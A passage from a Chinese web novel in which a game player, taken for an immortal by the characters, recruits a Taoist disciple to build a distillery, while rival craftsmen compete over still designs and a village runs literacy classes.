此妖举手投足间自带一股自得之意,淡青色衣袍无风自动,吹得他那长发缓缓飘扬。 在他背后,正盘悬着两条金色蛟龙,这龙气势非凡,似有撕裂时空之态。 仇朗瞳孔骤缩 竟能驭使真龙?这到底是障眼法,亦或是真的龙? 若是障眼法倒是还好说,但若是真龙,岂不意味着他并非妖物? 毕竟妖物可驭使不了真龙! 美得惊天地泣鬼神的男人往前缓缓走了两步,那白皙的指尖似乎还夹着几张仇朗颇为熟悉的东西。 仇朗眯起眼睛去看,却看到了被自己当成宝贝似的三张符咒 怪物,绝对是怪物! 但凡在符咒被触发后便会化身为天地法则,何谓天地法则,便是无人能够触摸操控此物,但眼前此人指尖所捏紧的三张符咒,却无时无刻不在嘲笑着他以往的认知。 没想到此人竟能操控天地法则,他到底是什么人? 冷静下来后,仇朗似乎能感受到对方身上散发的并非是妖气,反而更像是一股极为圣洁纯粹的气息。 这股气息带着一种悲天悯人之态,混着那张仿若天地精心雕刻而成的面庞,仇朗脑内不受控制地蹦出来一个念头。 ——天道之子。 据说天地混乱之际,天道会派人前来拯救苍生,而天道的意念便会化作人形,此所谓天道之子。 天道之子等同于神仙,可呼风唤雨,操控世间万物。 仇朗脑内快速思索,但当来人走近他后,他仿佛脑子上了锈,竟是再也不能思索除了对方美貌之外的事情。 倒是来人清冷似寒泉的声音缓缓倾泻而出。 “我观你似乎有想问的事情,现在可以问了。” 仇朗没想到对方竟还会给他说话的机会,在他的预设中,来人走来时,便会将他一刀击杀。 虽说他猜测对方可能是天道之子,但猜测毕竟是猜测,如何能当真? 倒是离得近了,仇朗却能从对方身上嗅到一股若有若无的淡淡的煞气。 再细细品鉴,这股煞气飞腾而出,似有万千亡魂嘶吼。 仇朗瞪大眼睛,顿觉不可思议。 奇怪 这股煞气和那悲悯之心同时存在,二者融合得极好,他第一时间竟都没能发现。 既对方给了他说话的机会,仇朗尽量别开眼神,不去看他那容颜,冷声开口。 “我不管你是妖是鬼,今日我栽到你手里是我学艺不精,日后我师叔定会前来替被你杀死的万千民众讨个公道!” 本以为这话或许会惹怒来人,仇朗已经做好了随时人头落地的准备,但对方轻飘飘的一句话却让他楞在原地。 “师叔你说的是一言?” 没想到对方竟知晓自己师叔名号,难不成师叔是遇害了? 仇朗血液逆流,而后浑身冰凉。 第92章 酒鬼 也是,是他天真了。 先前师叔外出游历,而后久久不曾回归,若按师叔离开宫门时所说过的游历路线来看的话,或许师叔还要比他更早遇到这妖物! 这般一想,仇朗便忍不住手脚冰凉。 天之骄子一般的师叔也没能逃脱这怪物的手心,如今他人已经被俘虏,就是不知师叔到底是否遇害了没? 仇朗呆愣在原地,脑内泛起的是师叔许久前教导自己的画面。 师叔待他极好,和亲生父母也没什么差别,眼下眼看师叔遇害,他不仅不能替师叔报仇,反而也被这妖物擒住嘲讽。 而后,仇朗颤抖出声。 “你将我师叔怎么样了?” 倒是屏幕外的姜定有些兴趣地看着眼前的剧情发展。 ——好好好,原来这人误以为自己杀了那什么一言道士啊!没想到这游戏的策划竟然喜欢这么狗血的场景啊! 心里吐槽归吐槽,游戏选项再次出现了。 【面对似乎和一言道士来自同一宗门的来人,你打算怎么做?】 【A.懒得和他唧唧歪歪,直接杀了了事。】 【B.循循善诱,看看有没有什么适合对方的打工职位。】 【C.骗骗对方,看看能不能将他背后的宗门都哄过来为自己工作。】 看着新出现的三个选项,姜定若有所思。 A选项排除!什么鬼,他又不是纯粹的杀神,这人明显感觉是剧情人物,他给杀了万一错失剧情怎么办? B选项看着不错,这种人必须要替自己工作啊,毕竟先前那什么一言道士不也致力于吹捧自己,提高自己的名气么? C选项看着也很有诱惑力,但无论怎么看,这个选项都透露出一股浓浓的作死味道啊。 凭借他现在的实力,万一对方宗门大佬是他完全惹不起的角色要怎么办? 要知道像这种修仙世界的背景,招惹大佬那也得是后期的剧情了吧! 对了话说这游戏是修仙世界背景,但实际上,他貌似没有完成任何修炼任务啊! 终于后知后觉的姜定察觉到了此游戏的不对劲,刚想默默点开状态看看到底是怎么个事,结果游戏选项则催促着他快些做出选择,不然他是无法进行下一步的操作的 没办法,看来只能先选择B选项苟一下了。 姜定自诩自己是属于猥琐发育一派的,这会自然毫不犹豫选择了B选项。 也是点背,点击选项时,姜定手抖了一下,那小箭头不小心向下移了一丢丢。 【你已选择C选项。】??? 不是,这对吗? 策划到底有没有考虑过手抖人悲痛的内心啊! 姜定瞪大眼睛,欲哭无泪。 什么玩意,他这算是被迫去作死了??? 不行,他必须读档啊,必须拯救这完全属于意外的手抖事故! 点开读档,看着最新的存档点还在好几个小时前后,姜定忍不住沉默了三秒,而后又默默关闭读档 算了,没关系,他都是这游戏的主控了,不就是选错了一个选项,至于想不开要读档吗! 不就是选错了一个选项,没关系的,想必游戏的容错率很高的! 而仇朗则呆愣愣地看着这人从怀里掏出一本书。 “看看你师叔写的东西吧。” 这书本被安安稳稳地放在他手心,而后下一秒,仇朗察觉到自己能动作了。 若是平常,这是逃跑的好机会,但他深知眼前之人的恐怖,既对方有把握松开他,自然是不怕他逃走的。 咬着牙,翻开书,本以为是什么邪教教规,试图污染他的认知,但等他看清楚内容后,却忍不住面容抽搐。 ——不是,这完完全全就是一本拍马三流话本子啊! 再定睛一看,这描述的内容,不就是这潜灵山? 仇朗忍住额角表示崩溃的青筋,继续往下翻,等看清楚其内描绘的百姓生活时,倒是意外地陷入了沉默 若真按照这话本子所写,百姓跟着这仙师才逐渐拥有了更好的生活,这么一看,岂不是说明他才是那个破坏百姓平稳生活的坏人啊? 不不不,想必是对方抛过来的障眼法,这种妖物怎么可能懂得为百姓谋福利啊。 再往后翻,等看清最后一页写的人名后,仇朗顿时懵了。???不是,最后一页写的是师叔的名字,话说,这玩意真的是师叔写的东西? 虽然很想否认这玩意是师叔所写,但仇朗心里清楚,这本定是师叔亲手所写。 毕竟他看过师叔写过千万遍字,这字确实是师叔所写无疑。 只是为何师叔会写下这些东西? 仇朗深知师叔绝不是那等贪生怕死之徒,他忠于永道宫,忠于宫内宗旨,哪怕被妖魔邪祟撕扯成千万段,师叔也定不会屈从。 事到如今,只有一种可能,那便是此人或许确实为仙人,也确实如同师叔话本中所写,为这方百姓撑起了一片天。 似乎是他呆愣的时间太长,对方继续开口。 好听的声音像是不要钱一般砸落在他心尖。 “世间万物,所闻不如亲眼所见,你师叔眼下在此处。” 话音刚落,一抹幻境缓缓展现在他眼前。 只见这幻境内,一言道士正在客栈内休息,似乎察觉到什么,这会不由地睁开双眼,看向前方。 仇朗不免嘀咕。 这不就是幻境,一点都没有说服力,鬼知道是不是师叔本人,正思绪凌乱之际,却见师叔竟伸手和他打了个招呼。 “仇朗,你也来那潜灵山了?应当是见到那位了。别激动,听师叔一句劝,先去看看那山上再做决定吧。” “我这番游历后,才知晓往日永道宫宗旨已有偏差,我们可以斩杀妖魔邪祟,却无法斩杀披着人皮的妖魔啊。” 师叔所说之言,让仇朗不由地一愣。 确实如此眼下天下久久不平,除却天灾外,造成战乱不断的便是人祸。 争斗,永无止境的争斗,不过是最上层几人丑恶的私欲,却扯着数以万计的普通人坠入泥潭。 回想到自己一路上见到的种种惨事,仇朗忍不住沉默了,头一次,他对宫内的宗旨产生了疑惑。 那抹幻境很快便消散开来,意识到那仙人早已消失后,仇朗忍不住扶额苦笑。 还以为对方是大妖,结果全是他的臆想。 不过既然师叔已经说出了那番话,他是否要听师叔的话,好好去看看这潜灵山? 遵循着内心的指引,仇朗在一娘子的带领下参观完了潜灵山。 只有等他亲眼看过后,才知道这天下竟真有那桃源乡。 可以让百姓劳有所获,可以从这里获得作为一个人的尊严。 引路介绍的娘子早就离开,而仇朗内心雾霭弥漫的道路却逐渐清晰可见。 他好像有些了解为何师叔会选择替这仙人效力了。 天下腐烂,只有凭借仙人,才能拯救这世道,只有凭借那位的神力,才能将他内心所想的天下描绘出来。 原先初入永道宫时,他的愿望是杀尽妖魔邪祟,下山后,看的东西杂了,经历的事情多了,仇朗忍不住深陷迷惘。 越是行走这腐烂的世道中,仇朗心中的迷惘便一日深过一日。 妖魔邪祟害人数哪有披着人皮的鬼怪害死的人多? 但他的法咒只能杀死那些邪祟,对于那些贪官污吏,那些恶名满贯的恶人,他却深觉无力。 而现在,改变世道的机会就这样出现在他眼前,仇朗自认为他不算无欲无求之人,既有人能完成他内心所想,他又有何理由不为对方效力? 想到先前脑内闪过的天道之子一词,仇朗却觉得这词或许才是这位的真实身份。 生于天道之间,而后被万千百姓夙愿呼唤而来。 【仇朗想成为你的工人,是否同意?】 姜定还在看些有的没的东西时,冷不伶仃突然弹跳出一新的提醒。??? 刚才这个新的剧情人物好像是去他的地盘溜达去了,现在前来投奔他,想必是游戏设计的一环吧? 姜定没多想,立即点了个同意。 等到点开此人的界面,这会才开始慢慢琢磨应当给这人安排到哪里工作去。 ——各方面属性不错啊,也就只比方知意,赵金构这些紫色人物属性稍低了一些而已。 再看看天赋属性,竟然是从未见过的酒鬼。 等一下,话说这个属性有什么值得拿出来说的必要么? 姜定无语望天,怀疑人生。 再想想看后,总算从中悟出新的猜测。 这意思是不是说要有新的农副产品可以开启了? 比如酒类什么的。 说起酒类,姜定顿时心潮彭拜,以他先前了解到的此地,酒类只有最为低级的米酒,黄酒,度数撑死了也就十几度到头了,如果可以生产酒类,蒸馏出来的烧酒可以轻松干到四五十度去。 一想到酒类开始制作后,这些没见识的游戏土著惊呆的模样,姜定忍不住一阵暗爽。 再点开仇朗的个人界面,姜定很是痛快地点击招纳,而后如愿以偿的看到了他所想的东西。 ——酒厂建设可以启动了。 将薪资发放下去,姜定这才看向右上角的铜板数 只差最后五百两便能到一万两了,其实先前有好几次已经到了这个数,但总有意外出现,当时相较于复辟下山道路,姜定更看重拥有更多资源,毕竟资源越多,后期积攒资金的速度就越快,这么一对比,自然显得他想要下山的夙愿是如此渺小。 等回神后,看到的就是资产永远距离一万两差一些。 姜定已经打好主意,这次如果不是有特别重要的事的话,他肯定要选择复辟道路。 不过为了保险,他必须要多赚出两千两作为应急备案才行。 第93章 师弟 想明白其中的弯弯绕绕后,姜定伸了个懒腰,继续肝。 而游戏内的仇朗在听清楚这位交给他的任务后,忍不住头皮发麻。 到底是如何做到的?只有最亲近之人才会知晓他嗜酒如命,但眼前仙人不过见过他一面而已,如何能知晓此事? 还没惊诧完毕,那仙人又缓缓开口,竟是让他去学堂内学习如何酿酒。 仇朗不免有些摸不着头脑。 虽说他喜欢喝酒,但是这也不代表他就会酿酒啊! 但等他人来到学堂,听完了学堂内的酿酒课,看完了酒水的品鉴课程后,注意力倒是率先被上面所显示的酒水度数惊呆。 ——53度?!仙人的酒水竟然可以达到这么高的度数? 他喝过最高的酒水不过只有十来度,和对方53度的酒水一比,脆弱的像个孩童。 原先觉得他或许要对这差事有些不耐,但在看到世间竟有这么高度数的酒水后,仇朗的那股子不服输的劲顿时上来了。 先前是不知道还有办法能做出这种好酒,眼看现在配方什么的都有现成的,仇朗自然不会放任此等美酒白白消失。 先不谈以后这美酒能有多受欢迎,起码他本人便很想复刻此酒水问世,至少他自己就想尝尝啊! 抱着这样的心态,仇朗先将建造酒厂的任务分给了斗坡村专营建筑的一伙人,而后自己则是潜心研究如何制作出这美酒。 将配方捋清楚后,仇朗发觉其中最关键的要素就在于所提及到的酒精一物。 想得到此物就必须拥有所提及的蒸馏器,但这段时间,仇朗在斗坡村以及附近村落,甚至风仙县都转悠一圈,均是未曾找到合适的匠人。 中途他倒是还曾去拜访同为同事的白思妙,此人负责报社,偶尔会在集闻楼内工作,大部分时候,则是会去那风仙县内的报社内工作。 都开报社了,想必消息很是通达吧? 抱着这样的心态,仇朗前去拜访此人。 等到听清楚仇朗所求后,白思妙抬头,向他推荐了赵金构。 “若是仇公子想寻求能人异事,不如直接去找赵公子,他名下的百才堂人才济济,或许能找到你所需要的人才。” 仇朗拱手,而后直奔赵金构所在之地而去,等听清楚仇朗所说后,赵金构神态恰到好处的表露出几分疑惑。 “不知仇公子为何想要寻求能工巧匠啊?虽说百才堂有些许人才,但也得先告知在下用途后,在下才能更好的推荐合适的人给仇公子你啊。” 蒸馏器?他听都没听过,不过看在大家都是给仙师效力的面子上,赵金构倒是愿意多几分耐心。 仇朗蹙眉沉吟,而后缓缓道:“自是在下按照仙师所说,负责制造那美酒罢了。” 美酒? 赵金构不□□露出几分感兴趣的神色,等到听清楚对方说出来的话后,他难掩神色震撼。 ——仙师竟能制造出高度数的美酒! 这可不一般啊。 如果这等酒水贩卖到幽州,黎州等地,恐可以撬动不少资产源源不断地注入仙师旗下才是。 这么说吧,只要这酒能制造出来,未来他便有信心控制住酒类市场,想到这酒水或许可以成为仙师旗下可观的摇钱树后,赵金构态度不免郑重了几分。 和仇朗具体谈酒水酿造之际,赵金构了解到其中的蒸馏器是最为重要的因素。 若没有这等提纯酒精的器材出现,那么一切的想法只能沦为空谈。 眼看着巨额利润溜走,赵金构如何能够放手。 不由地在内心缓缓思索合适的人选来。 片刻后,还真被他寻到一人才。 便是先前他先前偶尔所遇宋白的好友,段化。 此人脑内天马行空,原先便能做出来望远镜这等新奇玩意,现在这蒸馏器图纸都有了,想必复刻起来要比那所谓的望远镜简单多了。 对了说起望远镜,赵金构不免心头思索。 这等奇物在仙师未曾一统大炎时,自然是不可流露出去的,否则只会加强敌人实力。 但换个角度,这望远镜若是运用在他们这边,无疑能增强自卫能力啊。 心中已有所想,赵金构倒也没将话说得太死,这仇朗离去后,他便去寻那段化。 等到赵金构到了段化所在的屋内时,看到的便是此人正一脸认真地凝视着眼前的一堆粉末。 赵金构瞧不出这粉末是什么东西,想到自己还有事要寻这人帮助,一番寒暄后,总算将自己所求说出来。 倒是段化若有所思地盯着手中的图纸。 ——有趣的设计。 若不是他今日看到这图纸,想必是无法设计出蒸馏器来。 其中原理理解了便觉得简单,但其中有几处手法还是很需要技巧的。 这对他来说,也是个挑战。 想到先前他跟着好友拜入百才堂,却一直不曾前去潜灵山去寻那位,今日倒是巧了,没想到赵金构竟有事相求,亲自拜上门来。 既他对此物感兴趣,也想试着挑战此物,不如接下来算了,毕竟赵金构给的钱不少。 段化点头,而后应下此委托。 除却此事外,赵金构自是将另一事道出。 “赵公子的意思是说,想让我多做一些望远镜?” 了解到他在说什么后,段化不免迟疑了片刻。 赵金构含笑点头,“这等神器对本县兵力提升有很大作用,价格方面好说,还望段兄多做一些出来。” 若赵金构是为了往外售卖,段化自然是不肯的,但他说了,是为了本县考虑,段化不免有些犹豫。 再想想那位仙师曾救助过风仙县内的百姓,想到那位和以往的上位者作风完全不同,段化不免软了几分态度。 “望远镜制作麻烦,一架的话,需要一百两,我最多能给你制作出十架。” 这价格还在赵金构预料内,自是同意。 既事情已谈完,段化便继续低头研究眼前所摆放之物。 这物看着黑漆漆的,闻起来似还有一些呛鼻,赵金构不由生出了几分好奇。 “敢问段公子这是何物?” “不过是一些矿物而已。” 眼看段化失了继续说话的兴致,赵金构也不在意,告辞离去。 等赵金构走远后,段化这才嘟囔道。 “感觉配方没出错,为何不能制作出火药?想必是比例出了问题。” 而离去的仇朗则不免琢磨开来。 看赵金构意思不太确定是否能制作出来这蒸馏器,若迟迟制作不出来,岂不是会影响美酒的问世? 一想到这般好酒却因为缺少最关键的一环而无法问世,仇朗不免心中烦懑。 脑内划过一人面庞,仇朗蹙眉思索。 若是自家小师弟的话,凭借着他的手艺,或许可以助他一臂之力。 但问题是,小师弟虽说精通此事,但他除了喜欢在宫内研究道术,对俗世之物毫无兴趣,如何才能将师弟诓骗过来呢? 仇朗不免发愁 若他实话实说,师弟肯定不会乖乖过来帮他一把,但若是他以自身性命威胁师弟呢? 虽说这样做有些缺德,但仇朗只犹豫了片刻就痛快的决定坑一把师弟了。 ——同门之间的事这能叫坑嘛!再说了,等蒸馏器做出来后,他做好的美酒第一个给的就是师弟尝尝! 而且以小师弟的性子,来这潜灵山看看也是一件好事。 思及种种,仇朗心下意动,而后凝神屏息,暂时掐灭了属于自己生命之火的魂灯。 魂灯熄灭之际,远在永道宫的仇离瞬间睁开了双眼。 手中还在不断旋转的八卦盘跌落在地,而后仇离看着那盏属于师兄仇朗的灯缓缓熄灭,而后又逐渐复燃。 燃烧的光很是微弱,想必是师兄遭遇了什么麻烦,九死一生。 仇离将八卦盘塞在衣袖,给宫内师父等人留下一封信后,便朝着师兄所在之处狂奔而去。 期间为加快速度,仇离甚至还动用了不少加速符咒。 等到他狼狈来到明州潜灵山时,还不等寻找师兄,便先被这山上强悍的气息震撼得失神。 ——怪不得师兄那般的手段都会遭遇险境这山上到底有什么东西存在? 仇离放缓呼吸,速度极快地先给自己身上贴了几张符咒,而后慢慢屏气上山。 越往上走便越能察觉到此山的恐怖。 若遭遇这般强大的对手,师兄就算不死也要残。 仇离心中挂念师兄,前进的步伐不免加快了几分。 等到他小心翼翼地前进至半山腰时,后背却被一人轻轻搭上。!!! 从袖口抽出一张符咒丢了出去,仇离一个前翻滚,试图躲开后背那物。 脑内极速翻转过千万种可能性,结果满脑袋的思绪却被一声熟悉的惨叫打断。 “哇臭小子,你就是这么对待师兄的啊!没被大妖弄死,要先被你弄死了啊!” 这声音是师兄? 仇离忙转头去看,结果就看到仇朗面容狼狈地在原地弹跳。 本以为会看到师兄一副半死不活的样子,但现在看来,这家伙完全没事???? 说实话,仇离是不相信师兄会故意坑他来这里送死,毕竟他的性格并非如此,如果不是说此地有危险,那便是师兄在此地有新发现。 只是,为何要掐灭魂焰害自己担心? 仇离很不爽,眼内的不满简直要化为实质。 仇朗忙瑟缩脖子,眼带讨好。 “师弟啊,别生气,千万别生气,你先听我说完啊” 等到听到师兄竟只是让自己帮忙制作个叫什么蒸馏器的玩意后,仇离一张俊脸已然发黑,手指间夹着的符咒下一秒就要贴在他脸上。 “所以说,师兄是为了一己私欲啊” 第94章 另一个天才 仇朗看情况不妙,忙拿出杀手锏。 “师弟,你可知此地是有真仙存在?” 果然,看到仇离脸色缓解后,仇朗继续道:“师兄都是为你好啊,不是你心心念念想见见真仙嘛,眼下师兄我被那位真仙嘱托酿酒,这蒸馏器是必要的东西,等到时候你用这蒸馏器做投名状,想必那位真仙定会见你一面的。” 前一句话还能让仇离提起兴趣,后一句话,他便忍不住眼角抽搐。 ——鬼才会相信仙人会拜托他去酿酒啊!难道是师兄出门时间有些长,脑子坏了? 眼看师弟正眼神古怪地上下打量他,仇朗先是一愣,而后反应过来师弟这是何意。 深知如果不做些什么,师弟可能不会相信自己,仇朗拿出一张符咒,递过去让他看。 这符名为记忆符,可让人观到此符咒内保存的一段记忆。 仇离眼神总算是正常了几分,心想或许师兄是有苦不能言,这才做出种种离谱之事。 而等他将这记忆符使用后,那张平静无波的面庞第一次划过一抹惊诧 到底是如何做到的?为何符咒竟然奈何不了对方? 还有他身上又是为何会盘悬着两条金龙,且此人浑身充斥着一股缥缈若仙之态,难不成,确实如同师兄所说,他真的是仙人? 眼看仇离楞在原地,仇朗不忘添把火。 “按照我说的去做,师兄保准你能亲眼见到那位仙人。” 抱着满肚子的疑惑,仇离总算是在这山头停了下来,为师兄做着那所谓的蒸馏器。 这东西并不好做,他做得无甚头绪时,便喜欢出去在山头看看。 其实仇离并不是一个喜欢出门的人,他和仇朗不同,他早就知晓这世道的腐败,故而不肯出宫,只肯在宫内潜心研究。 而当他被师兄扯着去这潜灵山观看时,他心里是不赞同的。 ——这里和外面,又有何不同? 但当仇离亲眼看到此处种种,原先排斥的心这才逐渐消失,而后不等师兄说,他素日也喜欢出门走走,似乎只要是沉浸在此处,身心灵便处于一种绝对的宁静安详中。 原先他对于仙师的存在与否还有些质疑,但当他整个人深入此山了解全貌后,却越来越觉得师兄是对的。 ——恐是只有仙人才能创造出桃源一般的潜灵山。 在仇离研究着蒸馏器时,山下的段化也在努力制作着此物。 等到赵金构带着段化及刚做好的蒸馏器上山时,看到的就是仇朗竟已经拿出一蒸馏器投入生产。 赵金构:???什么鬼,合着你有啊,还找我给你做? 段化则是若有所思地看着眼前的蒸馏器 很高超的手法,不弱于他,不知道是何人做出的此物? 眼神扫视全场,总算是被他扫到了一怀疑人。 而仇朗则开口解释,知晓这做出蒸馏器的是仇朗师弟仇离后,赵金构眉眼弯弯,决定试着招揽一番此人。 ——明显这人看着也很有用啊,再说了,还和仇朗有些同门关系,应当会比段化好忽悠一些吧。 不等他开口,却听身旁的段化淡淡道:“你制作的蒸馏器手法虽可称得上完美,但这一处设计却是有点小问题。” 此话一出,满脸淡漠的仇离愣是被吸引了注意力。 不等仇离有所反应,段化继续开口:“这一处鹅颈设计弧度过大了,会降低出酒率。” 仇离盯着他指出的那一处,而后默默在心中计算。 “若按照你所说降低弧度,恐怕制作出来的酒精不够纯。” 两人谁都不服谁,无奈之下,仇朗提出不如分别用两人设计出来的蒸馏器试验一番。 等到结果出来后,确实如同段化所说,仇离的弧度设计得偏大,出酒率小了一些,至于酒精纯度的话,两套设备蒸馏出的酒精并未有区别。 一向精于此道的仇离顿时沉默了。 那张淡漠的脸庞,似乎第一次神色微崩。 仇朗看着师弟微微攥紧的双手,心想师弟这是棋逢对手了。 以往他总是一副云淡风轻的模样,似乎任何事物都惹不起他情绪波动,然而这次对仇离来说,如何算不上是一个打击? 毕竟是在最得心应手的方面输给了对方,按照师弟的心气,必定不会轻易认输的。 原先还发愁如何才能让师弟停留在仙师这里,这会仇朗倒是不发愁了。 只要师弟一日不赢了这段化,便一日不会离开此地。 那段化似乎不曾感知到这番紧张范围,而是放下东西,不曾停留,正欲离开之际,仇离上前凑到对方耳旁低语。 “你身上是火药味啊,怎么,在研究火药吗?” 段化想离开的步伐顿时停顿下来,一双眉眼冷冰冰地看向仇离。 仇离搭着他的肩膀,力道大得似乎能捏碎他的肩膀。 “为何不将木炭比例提升一些?” 这人虽说在笑,但有眼睛的人都能看出来两人之间紧张的气氛。 倒是段化微楞在原地,脑内极速闪过配方配比一事,联合此人说的话,他脑内似乎有些新想法了 这会来不及和仇离多计较,急匆匆便要离开,倒是仇离紧跟着对方离去,美鸣其曰探讨,实际上仇朗知道,这家伙是不服气吧?! 绝对是不服气啊! 在得意的事情上输了的感觉,想必很难受了。 二人离开后,闹剧暂时告一段落,而赵金构眼内倒是闪过一丝精光。 ——有趣的发展,本还想想点办法将这两人留下来,现在看来,二人之间互相能争斗,这对于他来说何尝不是一件好事? 换位思考,若他是其中一人,定不会随意放弃能和自己打得有来有回的对手,反而会想尽一切办法,死死地抓紧此人,不然余后的人生岂不是无聊得发指? 确定酒厂可以顺利开业后,赵金构也离开了。 倒是仇朗在下山后遇到了同样被派来的一个老头。 汪老翁。 看着平平无奇,但此人倒是擅于品酒,和此人日常探索美酒,可谓是一大快事。 因有此人,酒厂的发展倒是异常顺利。 等到第一天开业售酒时,仇朗甚至都没感觉到紧张这一类的情绪。 毕竟他对生产出来的酒很有信心,这样的好酒,别说会品酒的人,就算是不会品酒的,也保准一喝一个准。 所以等杜百前来商讨购入酒水时,仇朗依旧很是淡定。 按照仙师给的价格报了价后,本以为眼前这瘦小的男子还要再犹豫片刻才能给他个答复,谁知此人双眼亮得惊人,而后果断的定了足足一千斤。 “仇总管,目前的话,我先购入一千斤试探一番市场,若市场反馈不错的话,到时候我还会大批量购入。” 其实细盐已经花了不少银钱了,杜百一开始没打算花费这么多银两,但她有种感觉,若这次不抓住这个机会的话,恐怕她会后悔万分。 仇朗倒是没想到还没正式开业,酒厂竟售出这么大的一单,顿时心花怒放,深觉自己或许有经营的天赋? 而杜百则是告别了姐姐,踏上了前往黎州的路程。 与此同时,一队人则是也来到了风仙县。 这队人马有男有女,若有懂行的人在的话,很轻易便能察觉到此行人的不凡来。 其中一女子扫过风仙县,脑内却闪过师妹给她送来的那封信。 那信上所说,她寻到了一位有望改变天下之人。 好事。 再往下看下去,此人的身份竟然是神仙? 腐朽的大炎,竟能有神仙存在? 抱着某种隐秘的期待,她带着一行人下山,直奔师妹所说的风仙县而来。 等到来到此处,感受着和别处不同的安宁祥和后,寻安不免神色微微动容。 确实,她们一路走来,此处和别处是不同,这种不同体现在这里的百姓身上自带的那种平和,和外面那些惶恐百姓不同,这里的百姓眼中不是麻木,而是透露出一种对未来的希望。 只有说有希望的土壤才能培育出有希望的百姓,对于这片土地有神仙出世的话,寻安信了几分。 而她身后,倒是有人开口。 “本来以为宁师妹说话夸张了几分,现在看来,师妹所言不虚,话说,师妹怎么还没过来啊?” 一行人在风中苦苦等待寻宁许久,快等不下去时,终于一抹红色的身影出现在一行人的视线内。 寻宁看着以往的师姐师兄们,心情不免好了几分。 “抱歉师姐,南边有家点心铺做的点心很好吃,我特意买了让你们尝尝。” 说完,她像是炫耀一般,拎起手中的袋子给众人看。 寻安拍了拍她的肩膀,“小宁还是这么喜欢吃东西啊,这里不是个说话的地方,我们先换个地方。” 等到一行人进入一包厢内后,寻宁这才将此处更为细节的东西告知师姐。 倒是寻安神色凝重。 “看来那位仙师旗下已有不少人才,按道理,在这乱世中,我等应该保持中立,但从山上到此处,我却觉得中立便是纵容恶人犯罪,所以一路上,我们商量着打算加入仙师旗下。 当然,是以我们个人的名义,而非是抚灵山的立场。” 寻安师姐做事向来谨慎,她能说出这话,也足够让寻宁惊讶了。 “师姐应当见过仙师后再做决定也不迟。” 寻宁踌躇片刻,而后缓缓开口。 她都观察了许久才做出为对方效力的决定,既师姐师兄也有此心,应当对那位看得足够清楚再做决定才是。 倒是寻安缓缓摇头。 “不必了,原先我还害怕是你被蛊惑,现在看来,你看得比我清楚。” 寻宁脸上忍不住飞过一抹绯红,正感觉说什么都显得刻意时,一旁的寻淼瞪大眼睛,嘴巴里塞得满满的,嘟囔道:“小宁儿,这什么奶油小贝,怎地做得这般好吃?” 第95章 修建下水 学堂扫盲班如火如荼地开始扫盲了。 被迫加入扫盲班的一众工人自然是忐忑无比,等到听完了第一节课后,众人紧张的神色这才淡了几分。 第一节课教的是卫生课,主要内容算得上是科普。 譬如要先洗手才能吃饭,上厕所前后都需要洗手,除了此外,还有关于各类意外事故出现后的急救,比如被火烧伤,被雷击后,被水淹后,以及吃东西被卡住等等情况。 众人听得深觉有趣,毕竟这等有用的知识原先可是没人会教他们的,且这些知识学会了对日后生活也是大有益处,何不仔细学习? 且学得快也有好处,能赶紧完成扫盲班的教学,再次回归工作。 科普课的结课方式便是出考卷,上一行提问,下一行要求学员写下正确答案,确保每一个人都能知晓这些基础的东西。 除却卫生课的科普外,还有仙师治理界下知识类的科普。 譬如何为社会,何为人民,一切新奇事物的词语开始逐渐出现。 这两类课程众人倒是学得挺快,毕竟众人从未认字,从未被大炎朝原先的思维渗入,这会就和听故事一般,各个接受度良好。 除却这两样最为基础的科普外,扫盲课还负责教授最为基础的算术课和拼音课。 一时间,多的是被九九乘法表折磨的众人。 除却这乘法表外,拼音课也是一门全新的知识,学起来的难度对于这众从未上过学的人来说,可算得上是地狱难度了。 早上听完卫生课和科普课的信心顿时一扫而空,回到家中,众人皆是脸色发白,嘟囔着嘴巴背诵着乘法表和拼音表。 晚上因点烛火还需要花钱,大部分人家都是早早熄火完事,熄了火没事干的话,白天这群上了扫盲班的人便会三三两两的聚在一起,一起背诵着白天学到的东西。 一个人记忆起来要慢,但一群人聚在一起,查漏补缺,本以为这乘法表和拼音表估计一个月都学不会,谁知道,一个周后,众人便已学得七七八八。 有时候甚至在田间种田时,也会有人突然出声背诵,而后便是后面听到的人接跟着背诵,一时间,这两样东西竟然成了村内最为流行的“童谣”。 于是便出现这样的怪事。 一伙外地游商阴差阳错得知这斗坡村能生产出不少特别的物品,一个个慕名前来,就希望能将东西带回去卖个好价格。 但当一伙人进入村内,首先听到的便是如同魔咒一般的乘法表。 有人凝神细听,而后蹙眉询问同伴。 “这些人口中所言到底是何物?” “为何人人口中都会说出这些东西,莫不是当地的民俗?” 众人略有忐忑,等其中一人前去打听后,这才松了口气。 “原来只是算数口诀罢了。” 疑惑解决后,众人倒是产生了新的疑惑。 读书上学,这可是只有少部分人才能花得起的投资,为何来到这小小的一个村内,村民们竟然各个都能会这口诀? 有好奇者便请一村民吃饭,而后为他们一行人讲解一二。 等听到此处竟然免费开设扫盲班,且学堂一年仅仅收费一两后,一众人不免面色崩溃。 ——什么鬼,这扫盲班听闻和最基础的学堂第一年没什么区别,这就免费白送了? 而且据说还是强迫性质,谁不去的话,也行,但本村的话,休想再找到一份活计。 这些游商忍不住面面相觑。 从古至今,读书都是很难得的好事,别说强迫学习,大有人求着去读书,怎么到这里竟成了这般倒反天罡之事? 而那学堂也是离谱,收费这么低,这不是搞慈善这是干嘛? 自得知这学堂古怪后,众人不免生出了几分想去看看的心思。 等他们来到那学堂附近,看着那学堂内不住穿梭着的众人,各个脸色诧异。 ——这便是学堂?为何其中进出之人有少年,青年,甚至是老年? 除却这些人以外,还有本不该出现在学堂内的女子们。 心中顿觉古怪,众人不免七嘴八舌开始抨击此处。 “这不合规矩啊,先不说学堂为何还招收这般大了岁数的人,为何女子也能来上学?” “简直伤风败俗,这学堂岂能男女混上!” “本以为一年仅收费一两的学堂是哪位大儒心善,现在看来,也不过是一山野学堂罢了。” 此人的话顿时赢来一片附和。 众人顿时失了继续拜访学堂的心思,而后各自去做各自生意。 倒是在这群人走后,一群童男童女钻了出来,看着这群人离去的背影忍不住给了个白眼。 “哪来的老顽固,说出来的话我是一个字都不爱听。” “什么女子不如男,我也是女子,成绩可是学堂第一呢!” “锦姐姐为何拦着我们,不然刚才我一定骂他个狗血喷头。” 被称为锦姐姐的小娘子脸色无动于衷,语气倒是难得认真。 “眼下我等必须遵守仙人所说,韬光养晦,努力提升自身才是正途。 日后这种事自然会经常遇到,但光是动嘴有何用,等我们真正做出来实事后,岂不是对他们最好的报复?” 一众孩童不免被这番话说得心服口服。 但孩童心性依旧,其中有几个小娘子相伴,尾随在这群人身后,倒是偷偷折腾了这伙人许久,算作报复。 